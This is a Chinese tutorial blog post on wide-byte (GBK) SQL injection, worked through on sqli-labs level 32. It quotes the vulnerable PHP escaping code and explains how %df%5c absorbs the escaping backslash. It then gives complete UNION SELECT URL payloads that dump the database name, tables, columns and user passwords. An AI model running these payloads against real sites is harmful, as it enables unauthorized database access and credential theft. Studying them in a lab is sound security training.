渗透之sql注入---宽字节注入

目录

宽字节注入原理:

实战:

源码分析:

开始注入:

找注入点:

注入数据库名:

注入表名:

注入列明:

注入具体值:http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(username,0x3a,password),3%20%20from%20%20users--+


宽字节注入原理:
 

        宽字节注入就是在对用户输入进行处理时,将编码方式改变,当某些关键字符被过滤(转义)时,我们可以使用其他的编码在被转义的字符前面,这样就可以组成一个新的字符从而来实现绕过。

实战:

本次的实战在sql靶场上的第32关进行操作。

源码分析:

关键代码:

通过我们的分析可知:我们输入的单双引号被替换为了反斜线。gbk中反斜线的编码为:%5C

utf-8编码被换为gbk,并且容纳2字节。%df%5c恰好可以组成一个汉子的编码(运的编码)。所以我们可以使用这个来绕过。

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}


if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 
//这里将utf-8编码转化为gbk了。
//utf-8一般容纳3个字节,gbk一般容纳2个字节
mysql_query("SET NAMES gbk"); //这里突然间转化了编码,变成了gbk编码,
//而gbk编码为两个字节,%df%5c恰好可以组成一个汉字,而汉字占2个字节,所以可以实现逃逸单引号
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

开始注入:

找注入点:

1):输入单引号

2):在单引号前输入%df,之后回车

爆了语法错误,说明我们成功的绕过了并找到注入点。

注入数据库名:

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,database(),3%20--+

注入表名:

table_schema=0x7365637572697479:这里的单双引号被过滤了,我们不能使用,但是在mysql中支持16进制,我们可以将数据库security转化为16进制在进行操作。

可以使用在线转化工具:进行转化16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具 (sojson.com)

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(table_name),3%20%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20--+

注入列明:

我们将users这个表的的列明注入出来:

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(COLUMN_NAME),3%20%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%20and%20table_name=0x7573657273--+

注入具体值:

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(username,0x3a,password),3%20%20from%20%20users--+

到此本次的注入就成功了,继续注入其他值重复操作即可。

到此本次的注入就成功了,继续注入其他值重复操作即可。

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值